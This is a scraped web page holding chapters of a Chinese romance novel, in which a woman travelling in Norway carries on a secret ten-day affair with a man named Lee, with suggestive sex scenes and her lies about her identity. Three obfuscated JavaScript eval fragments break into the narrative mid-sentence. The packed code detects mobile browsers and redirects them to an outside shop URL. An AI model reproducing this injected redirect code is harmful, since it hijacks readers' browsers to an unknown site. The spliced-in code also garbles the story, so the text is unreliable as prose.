二人天南地北地又聊了些无关紧要的事,驱散一开始的不悦,许久才挂断电话。 梁宛瞧了瞧手机电量,找出充电宝,偏偏找不到充电线。周沥递过来一条他的线,插口和她的手机吻合。 “谢谢。” 周沥一只手搭在行李箱的拉杆上,一只手插在风衣口袋里,眺望着远处的山峰。 梁宛在想,如果Lee这样的皮囊有李逸程的内核,她能忍受吗? 不能。 纵使她再喜欢美丽的事物,也没法绕开他的性格。感受到厌恶的那刻,她看皮囊也一定不会觉得美丽。到目前为止,Lee的性格都在她的接受范围内。 “还没问过你,你有男朋友吗?” 梁宛回神,半晌才意识到Lee是在询问自己。 她忍俊不禁道:“当然没有。我还没有那么混,有男朋友还和你……” 话顿住。 她清了清嗓,改口说:“你不觉得顺序错了吗?你应该像我一样,提前问清楚。” 周沥笑了笑,没说话。 有没有男朋友,有所谓吗? 6. 006 米达尔去往弗洛姆需乘坐一辆复古小火车,内部通体的橙红色,略有些岁月痕迹。 乘客不算太多,但也不空。梁宛所在的车厢内还有三个来自中国的游客,正说着她熟悉的家乡话。 梁宛刻意选择和Lee坐在同一侧,比起亲密的肢体接触,她更不想要无处遁形的眼神触碰。她没有信心在他的注目下做到问心无愧。怕自己哪一刻受不了良心的谴责,就把实话告诉他了。 一路途经海峡与瀑布,乌云密布,雨僝风僽。开阔无际的海与天在玻璃窗一条条流动的水痕后。 梁宛撑着下巴侧着头看窗外。 只要淋不到雨,她就很喜欢下雨天。整个世界都冷却下来,给予角落里喜欢阴湿的人一个喘息时间。 火车中途停下来几分钟供游客拍照,风雨阻挡不了多数游客的脚步,他们全副武装冲至观景台和壮丽的山海合影。 “不下去拍照?”周沥询问纹丝不动的梁宛。 梁宛摇头,蔫了吧唧地靠在椅背上,皱了皱鼻子说:“不喜欢淋雨,湿答答的,况且这么短的时间里很难找到好的拍摄角度,还要避开人群。” 周沥颔首,眸光下落。 她乌黑的头发静静散在椅背上,几缕发丝受静电影响飘在空中。周沥侧了侧身子,那几缕发丝便如同藤蔓缠上他的肩头。 列车窗外兴致不减的游客热热闹闹上下车,不一会儿车厢内地面也变得潮湿,冬天的雨仿佛是有气味的,冷丝丝又悠远。 梁宛和Lee计划在弗洛姆住一天,她这会儿才想起来。于是打开民宿App开始寻找住宿。不幸的是,几家视野极佳的早早被预订完,剩下的总有些不尽如人意。 她侧过身背对Lee,懊恼地揉了把头发。她把自己独处时随遇而安的坏习惯延续了下来,她就应该提前做计划的。 “Lee,你对住宿有什么要求吗?”现在反思也无用,她摁灭屏幕问道。 周沥摇头,“没有。” 他虽然这么说,梁宛却有着相当诡异的“金主”自觉,她认为自己占他便宜,总不能让他住得差。况且这都是为了她的计划。一咬牙,她盯上了一间价格堪比五星级酒店的房源。 正要下手去预订,一旁的周沥按住了她的手。 “下车之后和我走。” 在梁宛困惑的眼神中,他补充道:“不会留宿街头。” 梁宛微红着脸清了清嗓,收起手机,正襟危坐。 她大约了解了一点Lee的性格。 他是个工作狂,做事严谨,且这个习惯不分公或私。她陡然就想起网上给德国人贴的标签,严谨古板?梁宛没遇见过其他德国人,但Lee显然颇为符合。 窗外的景开始倒退。列车停下时的人声逐渐退去,归于安静。 不不,梁宛又在心里摇头否认。 他大约也不算古板,不然怎么会和见过三面的她上/床? 她看不透他,但她其实也没必要对一个相处十天的人太上心。 梁宛深深呼吸,主动问他:“到弗洛姆后,我们晚餐吃什么?” “你想吃什么?” “不知道,你有推荐的吗?我不挑食。”梁宛停顿,“我买单,住宿也是,一定要告诉我价格。” 周沥弯眼无声笑了笑,“那你跟我走。” 梁宛点头,“好,相信你的选择。” 弗洛姆小镇坐落于峡湾内,一条蜿蜒曲折的河流横穿于此,颇有世外桃源之感。 只是现在风雨交加,推着行李的游客匆匆寻找落脚地,无暇顾及风景。 下车时,Lee顺势接过梁宛的大行李箱,她没有拒绝他的绅士行为,因为她没有时间矫情。雨落在脸上和发丝粘连,她此刻正忙着拨开阻挡视野的头发,模样狼狈。 伞摇摇欲坠地被她夹在脖子下,强风吹过,倒得比落叶还轻易。 “拿好伞。” 梁宛忽然听见周沥这么对她说。 手虽然照做了,但她心里却感到一丝奇怪,她原以为他会帮她举一会儿伞,等她整理头发。 正纳闷,梁宛倏然感到被皮筋牵拉着的头发散开了。一早扎的低马尾在路上早已变得松松垮垮,此时松开,梁宛便以为是皮筋掉了,正弯腰要去地上捡。 “别动。” 梁宛身体一僵。 倒不是因为Lee的话,是因为他的胳膊轻轻地揽住了她下坠的腰。心脏莫名漏跳了一拍,她压低伞檐,遮住自己不住晃动的双眸。 那双替她吹过头发的手,不知第几次穿过她的发丝。梁宛这才意识到皮筋是他解开的。修长的指节模仿木梳的轨迹,额前、鼻尖、嘴角那些散乱的发丝由他的指尖轻拨至耳后,干净利落地用皮筋束缚住。 “好了。” 周沥捏住低得过分的伞檐,抬起,目光毫不避讳地直视梁宛躲闪的眼睛。 “你很会给女生扎头发。” 梁宛只是想说点什么。 周沥正撑开自己的一把伞,动作顿住,笑了笑说道:“我有个妹妹,只给她扎过头发。她年纪很小,自己扎得不太好。” 原来他有个妹妹…… 等等,Lee该不会以为她是想调查他的过去吧?或者以为她在吃他前女友的飞醋? “我不是那个意思,”梁宛也不知道自己在说什么,“我只是在夸你头发扎得不错。” “谢谢。”周沥边说边顺手整理了她翘起的衣领,“走吧。” 雨天的路并不好走,但Lee没有借助导航就轻车熟路带她到了民宿,一间依水而建的别墅。推开门,宽敞的露台正对着峡湾,山上覆着层层白雪,灰黑色的山脊斑驳在一片茫茫中。 梁宛倚着栏杆,许久没有说话。 两个人商量着洗个澡换身衣服再出去,刚才推着行李一路走来,伞在斜飘的风雨中形同虚设。而且梁宛冷得很,急需冲个热水澡。 她看风景的时间里,Lee已经将三个行李箱擦拭干净,她忙道谢。 除了工作之外,她没有和母亲以外的人单独旅行过。也是第一次被人照顾着。 关于坦诚相见这件事,梁宛已经没有那么心慌了,因此她不小心撞到裹着浴巾的Lee时,也不会太过手忙脚乱。 她瞧了瞧窗外,只可惜还未彻底入夜,不能白日宣淫。 梁宛换衣服的时候,周沥走到露台上打了一个工作电话。她准备好后就坐在床沿,透过玻璃窗无声观察他的背影。 尽管这整件荒谬事由她提出,但她心里对答应此事的Lee也留有一丝余地。她虽感激他,某种程度上对他着迷,但不会直接对他产生不现实的纯情幻想。 长期的亲密关系也不是她所求,十天是极限。 天公作美,梁宛和周沥出门时雨停了,路面的积水倒映着星星点点的灯光。梁宛把折叠伞丢进帆布包里,余光看见周沥握着长柄黑伞的手背。 那只手捏着她时也是如此,稍一动,青色的筋脉跟着跳动,她的心也是。 梁宛不认为那是心动,那应该是对喜欢的物件的本能反应。 “Mia.” 周沥第三次喊她。 显然,她对这个名字没有本能反应。 手指圈住她的腕骨,微微牵动。 “到了,就是这家餐厅。” 梁宛回神,正讶异于他牵着自己,Lee的手指顺着她腕骨的伤痕滑向掌心。他目视前方,神情自若地牵着她走进餐厅。梁宛都没来得及欣赏餐厅的外观,脚步已不知不觉跟着周沥来到内部。 这是一家酒酿厂餐厅,室内有两层,多为木结构,梁宛第一眼还以为自己进到了一艘海盗船里。一层中央有围成圈的装饰,巨型木雕从天花板上垂下。 跟着周沥来到二层,俯瞰中央的装饰更显得特别。梁宛不了解挪威的文化历史,但知道这些是维京风。 梁宛这个不爱做计划的懒人,要是有人愿意替她做决定,她绝不会再挑剔。Lee让她看喜欢吃什么,她盯着那些维京风格的菜名做不了决定。 “你点,我比较信你。” 周沥眉心几不可察地展了展,流利地用挪威语点菜。 他的视线转回来,梁宛正想说什么,瞥见他的手机在震动。 “你的手机响了。” 周沥垂眸,不像刚才那样避开她说话,而是直接在座位上接起。 又是梁宛听不懂的德语,但他中途笑了几次。梁宛本能地看过去,见他双眸被灯光照得澄澈,微微弯起。梁宛很敏感,她能读出他笑意里的宠溺。 半晌她垂头。 总之不是一通工作电话。 结束通话,周沥交叉双臂静坐,没有主动开启一个话题。 梁宛自顾自翻阅手机里的内容,工作群规律汇报着每日工作,她甚至开始想念工作。她说不清自己的想法,是羡慕按部就班的安稳,是害怕自己不被需要,还是不习惯一切脱离轨道的刺激? 她原本就是一个口头巨人、行动矮子,一片光明的旅行却总让她觉得提心吊胆,生怕有潜在危险。 她在躲避。 周沥的直觉这样告诉他。 她修长的手指来来回回在手机屏幕上滑动,面部表情已经无聊到想打哈欠,强行忍住了,又用指尖擦去眼角分泌出的泪水。 她就是不抬头,不对视,不主动说话。 “Mia.” 他喊了她两次,她才意识到。 “怎么了?” “喝酒吗?” 梁宛滞了滞,“可以。” 于是周沥又点了这家餐厅的自酿酒,一共五杯,颜色由浅到深。 呈上来时店员贴心讲解着,不一会儿五道特色美食的拼盘也摆了上来。 鲑鱼、鹿、山羊肉,搭配上一小碗番茄椰奶汤和一个甜点。每一碗的量都很小,正好够一个人品尝不同风味。 酒味从淡到浓,从甜到苦,不喜欢喝酒的梁宛像勾引他那天一样,喝了许多。 除此之外他们还吃了烤猪肋排,肉入口后,梁宛眼前一亮。 今晚第一次望向周沥的眼底。 周沥淡淡笑着看她,目光却锐利。 “你只喜欢吃这个对吗?” 梁宛在心里点头,表面上出于礼貌还是说:“都好吃,只是我个人吃不太习惯那些不常见的肉。” 也是实话。 她不是一个能快速接收新事物的人,因此没少被徐菲林和谢晚馨说老土。 她自己也没想到,最老土的那个人正在进行最离经叛道的事,在对眼前这个人撒弥天大谎。良心过意不去,只能逃避他的眼神。 梁宛依旧对今天的晚餐感到满意,那是她吃过最好吃的猪肋排。 要走出餐厅的时候,梁宛看见许多等候的人,其中也包括几个国人,听他们对话才知道这家餐厅需要预约,便不由在心里又感叹一次Lee的缜密。 天泛着深蓝色的色泽,像小时玩扎染时留在桌布上的那抹蓝。 又是深夜,梁宛又要考虑如何说服Lee和自己进行某项运动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977429|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她偷偷瞥了一眼他。 不知道他今年几岁,身体能不能胜任,她需要给他放一天假吗? “在想什么?” Lee“阴险”地在此时向她抛出疑问,梁宛走着神无意识地说:“在想你今晚还能不能和我做……” 脚步一顿。 梁宛在心里尖叫起来,怎么把心里话说出来了? “你不需要休息的话,可以。” 周沥双手插兜转过身,神色平静地回答,一双隐藏在镜片后的眼睛依旧在观察。 她什么招术都没用,他就同意了。 梁宛心情大好,口无遮拦起来。 她用磕巴的英语说:“你应该担心自己需不需要休息。” 周沥哑然失笑。 她是矛盾体,一面内敛,一面奔放。 酒精或许是开关,但不讨人厌。 民宿里有桑拿房,房主热烈推荐,但因为两人喝了酒,只能作罢。 梁宛依旧为床上用品套上一次性四件套,她不想给别人造成困扰,毕竟他们不只是睡觉。 周沥站在胡桃木书桌边,手撑着桌面,静静看她褪去厚重的灰色毛衣。里衣的颜色明亮许多,是介于湖蓝与天蓝之间的一种纯净。 他看着她把毛衣放到沙发上,视线短暂掠过他的方向,疾速转移。已经铺得平整的被褥,她又伸手去抚平。她在床沿坐了一会儿,坐立不安,不到半分钟又起身去倒水喝。水喝完,她双手撑在岛台上想下一步该做什么,周沥也好奇。半晌,见她拉开了冰箱的门,在几种水果里挑挑拣拣,什么也没拿,又关上。 梁宛咬着唇想,怎么办好呢?沉默的空气仿佛凝滞了。 周沥不禁弯起唇角,依旧不语。 梁宛揉了揉头发,看一眼时钟,又回去铺床。 救命……Lee的眼神几乎能把她灼穿了。 她实在忍不住,张口说:“你要工作吗——” 周沥单手摘下眼镜,搁置在书桌上,慢条斯理松着自己的领口。 他缓缓靠近,梁宛斜坐在床上退无可退。 “开始吗?” 梁宛睁圆了眼睛,无意识中就仰起了头看他。 平平无奇的圆领里露出修长的脖颈,锁骨若隐若现着。 周沥垂下眼,克制自己眼底的流露,伸手抚摸她的脸颊,拇指从她的脖颈滑至锁骨。 他不喜欢用语言表达所想,于是俯身亲吻住她微微张开的唇,从上唇到下唇。 周沥想,比起言语和行动,梁宛的心脏一直更诚实。她不会控制情绪,不会缓和心跳速率,于是那儿咚咚咚的跳动都从脖颈的脉搏传递给他。每一次跳动,仿佛都代替她说着什么。 白天刻意的远离和逃避,从亲吻那一刻起就不复存在。梁宛闭上眼睛,手也不安分地在Lee身上游移。 她喜欢靠直觉和本能活着,而现在就是在依着本能。 吻逐渐加深时,不和谐的铃声在房间响起。 像早晨的闹铃突然吵醒梁宛的白日梦,她颤了颤,猛然惊醒。 “对不起,我接个电话。” 她四肢并用跳下床,背对周沥接起微信语音。 “宛姐,上次的企划书备份在哪个文件夹里?”电话是陈彦打来的。 “在Z开头那个文件夹里,菲林姐知道的。” “我哪敢问她呀。”陈彦嘀嘀咕咕,一边打着哈欠,一边说,“坐红眼航班来深圳出差,我到现在还没合眼呢。早上会议的资料还要打印带过去,宛姐你快回来吧,我快累死了。” 梁宛看了眼手机上的时间,国内已经是清晨。 “你快去躺一会儿吧,能睡一小时也好,会议的时候千万别打瞌睡。” “我一边和你聊天一边改文件就清醒了。” 梁宛扶额,刚抬起头才发现面前有一面全身镜。镜子完完整整地照出整个房间,而Lee就坐在床沿,微微弓着背,注视着她。不算清晰的光线里,她看见他脖颈上自己留下的浅浅齿痕。 “咳咳。” 她被自己呛到了,连忙收回视线低语。 “陈彦,我这边现在是深夜,我准备要睡觉了,你要不出门找一家咖啡厅去?” 陈彦撒娇道:“还没开门啊。而且宛姐你平时不都很晚睡觉嘛,怎么去了挪威作息这么健康?” “……”梁宛胡诌,“因为我今天走了很多路,又累又困。” “好吧好吧,那我找一家早餐店去坐坐,请保佑我不会猝死。” 梁宛点头,“保佑你。会议结束就快回酒店补觉吧。” 结束通话,梁宛小步走回床边,不太确定地开口问他:“你……还有兴致吗?” 听说这种事被打断的话,许多人会失去兴致,甚至生气。 周沥抬眸,视线从她的脸上挪到手腕上。下一秒他拉着她往下坠,落到床中央。 “你说呢?” 细密的吻,无处可逃的桎梏,和落在身上时又变得轻柔的接触。 他亦是矛盾体。 梁宛感知到他的强势与掌控,可又看见他的隐忍和克制。 不知怎地,梁宛想起今天那场雨。 也是这样忽然而至,汹涌地来,漫天云卷云舒遮了人的眼。 无论列车行驶得有多快,无论走到哪里去,都躲不开那场雨。 她远远观时,着迷欢喜,觉得雨水多些宁静。 可等她真切淋到那浸透她的雨时,她又害怕远处团团云层下未知的危险。 7. 007 隔日,梁宛睁开眼,房间里只有她,Lee不知去向。 她并不担心他拍拍屁股走人,因为在为如何分别而头疼的人是她。若Lee真能就这样离开,她倒省去烦心和自责。 她有时候希望Lee和她一样是个谎话精。 谁也不欠谁。 洗漱换衣后,梁宛推开套房门,在别墅里寻了一圈,最后在公共区域客厅找到了Lee,他正和房东夫妇交谈。 这还是梁宛第一次见到房东先生,他看上去是亚欧混血,灰黑色的头发与眉毛既有岁月痕迹,也有血统的印迹。 “Mia,你总算醒了,为你准备的餐点快变凉了。”房东招呼道。 梁宛道谢后落座,加入他们用餐。 “要吃鹿肉吗?是我们这的特色。”房东自问自答,“不过我猜你不喜欢吃,你应该更爱吃猪肉和鸡蛋,对不对?” 梁宛眉眼弯弯,笑着说:“是的。” 房东瞧了眼周沥,笑而不语。 “Mia.” 周沥喊了两次,梁宛才有所反应。 “离开之前要不要去Brekkefossen瀑布?那里可以俯瞰整个小镇。” 梁宛正在喝牛奶,只能用上目线看他,点点头回应。 去瀑布的路程不远,脚下也都是好走的石阶,但梁宛和周沥走了很久。 梁宛是在出发以后才发觉自己的腿根和后腰有些发酸。想到前一日和周沥争谁需要“休息”,此刻她不愿示弱,于是一声不吭地走着,但步伐也放缓了许多。 周沥不是一个急性子的人,总在不远的高处等她抵达。 途中梁宛看见许多当地人散养的羊,有些还没成年,它们不怕人,慢悠悠地在游客面前踱步。 此刻的天还未亮,光里泛着深沉的蓝调。几米远的地方,Lee站在凸起的岩石上,眺望着峡湾。梁宛顺着他的视线远远望去,在灰黑色山峰棱角之后,微弱的金光正在照亮白雪。 路途过半,梁宛已经可以俯瞰半个小镇。积雪被昨日的一场雨冲洗了许多,零星的几点白不规律地洒落在镇上。 无风无雨,水面平静倒映着房屋、枯树与群山。 周沥站在风景中,挺拔高挑的背影融在微光里。 梁宛喘着气,手比脑先动,举起相机按下快门。 画面里,有清晰的山峦与金光,和Lee模糊的身影。 收起相机,继续前行。牛羊成群,游客零星。 梁宛欣喜竟然还能在这里看见高地牛。 两年前,梁宛去英国旅游时也见过,她格外喜欢这看起来有些许憨态的动物。那时她去英国的目的要单纯许多,旅游,顺便拜访彼时还在伦敦生活的谢晚馨。她那时的男朋友还是她们共同的高中同学,两人在一起很久,后来不知为何分开了,谢晚馨就此回国。 冬日的缘故,Brekkefossen瀑布水流不算大,但景观依然值得这趟徒步。 梁宛喜欢冬日风光的寂寥和宁静,撇下周沥独自来回踱步,拍了许多照片。 离开弗洛姆小镇,前往古德旺恩,轮渡经过峡湾,天从蓝调中复苏。船尾一面诺大的玻璃窗将景色分割成三幅画,白色浪花隐没在山脚下。 十一月底游客不多,清静。 从上了船开始,梁宛就不怎么说话,连照片都只拍了几张,一直坐在靠窗的位置上一言不发。 周沥浏览完邮件,抬起头看见天尽头的山峦之巅的团状云,酷似一座长在山头上的城堡。他想问梁宛要不要拍照,转头发现她用头抵着墙,眼睛半合着,嘴唇失去些微的血色。 他蹙起眉头,用手背探了探她额头的温度,“身体不舒服?” 梁宛摇头又点头,“我可能有点晕船。” “有带晕船药吗?” “没有……”梁宛用力睁了睁眼,“程度不算重,没什么大碍。我小时候坐过几次船,都没什么事,我还以为我不晕船呢。” 她笑了笑,略显勉强。 她生活在内陆,即便是坐船也只有湖上的人力小舟,至多半小时,体会不到晕。 梁宛一坐上交通工具就爱睡觉,现下晕船了更想睡,摇摇晃晃中,她的意识断档了。等再醒来时,她靠在Lee的肩头,身上披着他的围巾。 灰色羊毛的触感绵软亲肤。 迷迷糊糊的梁宛本能用脸颊去蹭了蹭。还有清香,她把鼻子埋了进去,更满足地闭上眼。 三秒后,理智赶跑了瞌睡虫和本能,她猛然睁开眼,佯装成刚醒的模样,不慌不忙坐起身收拢他的围巾。 “我睡了很久?” “不久。” 周沥动了动被她压了许久的肩膀,垂眼看她。 梁宛说:“谢谢你的围巾和肩膀。” 周沥笑而不语。 谢谢肩膀是一件很古怪的事。向人道谢却避开目光也一样古怪。 他不动声色重新系上围巾,问她:“还晕吗?” “好一些了。”梁宛稍有点精神,拿出相机又拍了两张,“我们还有多久到古德旺恩?” “马上,”周沥握住她的手腕,缓缓地,她的相机和人都转向船头的方向,“那个码头,我们的目的地。” 他在指引她。 远远地,梁宛视野里出现了岸和码头。但她的心思不在那里。 Lee离得很近,指腹搭在梁宛的指骨上,掌心贴着她的手背。他的掌心特别热,不知什么缘故,灼着她。这未曾预料的触碰就像天空劈了道闪电下来,梁宛震颤。 她慌忙把手压了下去,悄然远离他。 “嗯,那就好。” 手心里空落落,周沥低眸,视线追随她蜷缩起的手指,半晌才弯了弯唇,什么也没说。 渡船靠岸,梁宛健步如飞登上岸,强忍着头晕目眩,一副积极查攻略的做派,将周沥抛在身后。一左一右两个行李箱,远远看去像一只雄赳赳气昂昂的斗鸡,全身羽毛都炸开了,气势非凡。 然而换乘巴士却实在简单,只需跟着人群在站头等巴士即可。不一会儿,周沥不紧不慢地走到她身边,接过她的28寸行李箱。 距离再度拉近。 去沃斯的路上梁宛也在睡觉,只不过这次是靠着车窗,中途停下欣赏山谷风景也是一个人冲在最前方。 她看上去精力无限,可就是远着周沥。 周沥并不急进,也不是会像无头苍蝇那般行事的人,他喜欢安静观察,慢慢琢磨透一个人。 在经历最后一程的火车后,他们终于抵达卑尔根,不断换乘交通工具使梁宛有些疲乏。 天色早在不知不觉中变暗,一整天都在躲避Lee的梁宛终于在冷风中开始清醒思考。她知道她不该躲着他,像一个只想利用他身体却不付出一点情绪价值的渣女。但她本就是这样的人,与人相处的距离只有100或10,没有中间地带。 她尴尬、拧巴还作得要死,她相当乐意承认自己的缺点,甚至夸大缺点,只不过她改不了。 所以她在现实里谈不成恋爱,所以她才会远赴挪威做疯狂的事。 “Lee,我订了两晚这家酒店,你看看可以吗?” 她把手机递到他面前,向他展示酒店信息,没有过多的言语。 周沥低头,手机最上方正巧跳出谢晚馨的微信消息。 「谢晚馨:陈知渊回国进大厂了,单身呢。要不要和他再续前缘?毕竟你们当初可……」 梁宛许久没等到他的回答,疑惑地抬起头,“Lee?你不满意这家酒店吗?” 她可是狠心下血本才订了这家卑尔根大教堂边的酒店。 Lee看向她,一双眼像刚切割好的宝石,锐利又吸引人,梁宛险些失神,快速收回视线和手机。 “这家很好,你破费了。”周沥淡淡道。 “没事,应该的。” 梁宛摸着良心,心想这是应该付出的代价。 到酒店办理完入住,梁宛精疲力尽,望着窗外寒风凛冽的街景,询问周沥愿不愿意就近在酒店吃晚餐。这是一家五星级酒店,想必不会难吃。 周沥同意了。 梁宛觉得他其实是一个挺随和的人。 餐厅位于酒店二层,有一块视野绝佳的露台,可惜天寒地冻,没有人在室外用餐,倒有零星几人走出去拍了些照又回来。 梁宛高估了挪威任意一家餐厅的食物,她照着菜单上的推荐菜点,却发现大多是华而不实,味道只是过得去。和价格摆在一起,多少有些让人难以接受。 晚餐用到一半,谢晚馨打来视频电话,梁宛抬头和周沥说:“我去接一个电话。” 周沥按下她起身的手,“没关系,你可以在这里通话,我不会妨碍你。” 梁宛犹豫片刻,还是戴上耳机接了起来。 “怎么啦?” 刚接通,谢晚馨震耳的声音便传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁宛的记忆力不是很好,对遥远的事记不清。她记得和陈知渊同在一个社团,经谢晚馨提醒也能记起一些事,但陈知渊的模样是模糊的。 “不了吧,我在北京,他在上海,异地怎么发展?” 梁宛拒绝人一贯比较迂回。 “这算什么?”谢晚馨道,“如果你是不婚族我就不劝你了,你又不是,你是想谈恋爱的。像陈知渊这样的优质男,大多数都售罄了,可不好找。你们还是老同学,他家庭状况你也都了解。你试试和他联系,万一擦出火花了呢?” 梁宛揉了揉头发,转移话题,“再说吧。你怎么不说你家李逸程,转而当起红娘了?” 此话一出,谢晚馨蔫了,哪还有刚才说梁宛时的气势。 最后谢晚馨总结:“果然人都是说别人容易,到自己身上就犯难。” 梁宛附和笑道:“可不是嘛。” 挂断视频通话,梁宛把手机倒扣在桌上准备用餐,片刻后,她又拿起手机在微信好友里搜索了一番。她不记得自己当年给陈知渊什么备注,更不记得他的英文名是什么。 她不常看朋友圈,应该是漏掉了对方的动态。 恰好谢晚馨发来新的消息。 「图片」「图片」 「你看,他比当年还好看。」 梁宛点开图片,一张是打了码的工牌,一张是陈知渊自拍的侧脸,他站在黄浦江畔,阳光从他身后照射下来。 记忆里的脸稍微清晰了些。 梁宛放下手机,心想原来他长这样,确实是她高中时会喜欢的类型。 “很重要的事?” 正沉浸在回忆里,Lee的声音缓缓响起,沉稳而安静。 梁宛抬头,摇了摇脑袋,“不是什么重要的事。” 周沥仰头喝了一口手边的冰柠檬水,淡笑看她。 “第一次见你在吃饭的时候一直看手机,是工作?” 梁宛脸一红,嗓子发痒。 她怎么觉得她之前也常看手机?不过她意识到这样不太有礼貌。 “朋友给我发消息。” 周沥点头,身体往后靠在椅背上,看样子他已经结束用餐。 为避免被他观察,梁宛进食的速度无意识加快了。 直到坐在对面的人面无波澜问出下一句话。 “今晚要休息吗?” 梁宛呛着了。 8. 008 针对是否需要休息这个问题,梁宛和周沥谁都没有示弱,但他们也不至于一回到房里就干柴烈火。 周沥要工作,梁宛也想看一点网络视频娱乐一下。 不过首先,她有几条信息要回复,一条是陈彦告诉她会议进展顺利,一条是谢晚馨发来的推荐好友。 「这是陈知渊的新微信号,高中那个已经不用了。你们有空聊聊,过段时间我组织一次同学会。」 梁宛被她的积极吓得不轻。 「真的不用,我回北京后要忙着工作,应该没什么时间去同学会。大家都分散在不同的城市甚至国家,聚在一起太浪费时间了。」 「你放心,我会把地点定在北京。其他人到不到不重要,陈知渊来就行。」 「晚馨,我喜欢他是高中时候的事,况且那也不算喜欢,最多是好感。我连他长什么样都不记得了。」 「那你就当是来见我,我们也很久没见面了。」 梁宛跪倒在床上,发出轻轻的哀嚎。她这个朋友做任何事都一意孤行,听不进劝,虽然说她自己也一样。 “怎么了?”周沥抬起头。 他的听力很好,总能捕捉她细微的声音。 梁宛坐起身,姿势也正经起来。 “没事,你继续忙。” 余光无意扫到了他的电脑,他似乎刚开始一个会议,梁宛在屏幕上看见两三个人。她连忙噤声,心想他刚才问她这一句话,恐怕是在提醒她不要打扰会议。 梁宛想,Lee果然不是一个合适的伴侣。他很忙,她若回到北京,也是忙得脚不沾地,试问哪对情侣不会被这样的忙碌冲散? 当然,打从一开始梁宛就没有把Lee考虑进男友人选。 事实上周沥已经结束了工作,多人视频是霍易斐和他几个朋友打来的。他们趁周末一起去泡温泉,闲来无事想起飞到奥斯陆的周沥。 霍易斐的耳朵很灵,吃着水果不忘瞪大眼睛,“女人的声音?” 周沥蹙了蹙眉头,“你听错了。” “他们也听见了!有女人的声音不奇怪,也许是家政,可你的否认显得你很心虚。” 周沥一向来懒得搭理他的八卦心,他总是像盯上猎物的老鹰没完没了。周沥不喜欢被人窥探隐私,这点与霍易斐有着天壤之别。 如果把人的心比作宅子,周沥的外表看起来大门紧闭,不易接近。可一旦推开第一扇门,便会发现里面是温暖的暮春,可千万不要轻易地陷入。他的卧房远在另外十道门之后,道道上锁。 “找我什么事?没空听你废话。” “晓晓说她两个月后要回国。”霍易斐满脸沮丧,“不是和我商量,是通知我。她竟然无所谓我跟不跟她回去。” 林晓茵,霍易斐研究生时期交的女朋友,感情稳定。 霍易斐喝了点红酒,哭哭啼啼起来。他不想异地,更不想分手,但也舍不下自己在德国的事业。几个朋友笑他红眼圈的模样,周沥还是面无波澜。 这淡然的表情,不怪梁宛误以为他在谈工作。 “她对自己的人生很有规划,不像你。”周沥垂眼淡淡道,“哪一个对你来说更重要,你自己做抉择。” “说得轻巧,哪一个是容易放弃的?”霍易斐瞧着周沥那张冰块脸就生气,“换做是你呢?你的事业在这里,如果你的女朋友说她要去另一个国家,你会选择事业还是她?” 周沥毫不犹豫。 “事业。” “那是你还没有女朋友!尽说些我不爱听的风凉话,没有半点实质性的建议。” 周沥顿了顿,视线微微抬起。 只留着两盏灯的房间里,梁宛已早早躺下,只不过她精神得很,手机的亮光照着她的面庞,映出她此刻憨态的笑容。 不知道在看些什么。 周沥想到她名为谢晚馨的朋友发来的信息。陈知渊是她的过往吗?是因为异国而分手?视频通话时,她听起来对异地恋颇为抵触。 周沥莫名升起一丝好奇心,好奇如果将霍易斐的问题扔给她,她会如何回答。 “爱情不是必需品。”周沥低头,仍旧这样回答霍易斐,“如果对你来说是,那你大可以放弃你的前途去追随她。不过很显然,对林晓茵来说,你也不是必需品。” “……” 霍易斐的动作凝滞两秒,随后啪一下结束了整个房间的视频通话。 三秒后,周沥在手机上收到了他的信息。 「你这个冷血无情的怪物!早晚有人替天行道把你收拾了。」 必需品。 似乎恋爱中的人总追求着——自己是对方的必需品,来印证自己的独一无二。 周沥轻笑,摘下眼镜,揉了揉眼角。 梁宛注意到他合电脑的动作,像一株向日葵看了过来。 周沥也在看她,她毛茸茸的睡衣相当天真。 但他倒不认为她有表面看起来的那么无害。 “开始吗?” 梁宛放下滚烫的手机,轻轻点头回应,“好。” 很难说,他们之间是任务还是竞赛。一天又一天,这般默契地进行着。 梁宛勾着腿,环着他的腰,不敢乱飘的视线轻易被周沥捕捉到。白天总躲着他的那双眼,此刻瞳眸被床头灯照得分明,连纹路都清晰得像太阳花,澄澈明亮。 “结束旅行后,你会去哪里?” 顶撞的时候问出这话,梁宛颤得厉害,指尖扣着他的肩头划出一道道印迹。 他太奸诈。 梁宛都不知自己震颤的原因是生理愉快,还是心虚。 “为什么……这么问?” 梁宛勾住他的脖颈,把头埋进他的颈窝,终于避开他的目光。 “想知道你的下一个目的地。” “我当然是回国……回泰国。” 周沥轻笑,用的力更大了些。 “喔?你住在哪个城市?” 梁宛喉咙干涩地笑了笑,“怎么了?忽然做起……背景调查?” “这只能算平等交换信息。” 他指他说过自己住在慕尼黑的事。 “清迈。” 梁宛脑海里冒出来的第一个泰国城市。 曾经有一个人最喜欢的歌手就在那里住过一阵。小时候总听见她念叨以后要去那里养老,因此它在梁宛心里的印象比曼谷更深。 “你会说中国话。” 梁宛心里一惊,“你听得懂?” “听得出腔调,电影里常有,很明显那不是泰语。” 周沥没有直面回答,但足够安梁宛的心。 “嗯,我说过嘛,我是泰国华裔,父母……祖父母辈从中国过来。我们家在泰国开中医店。” 谎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 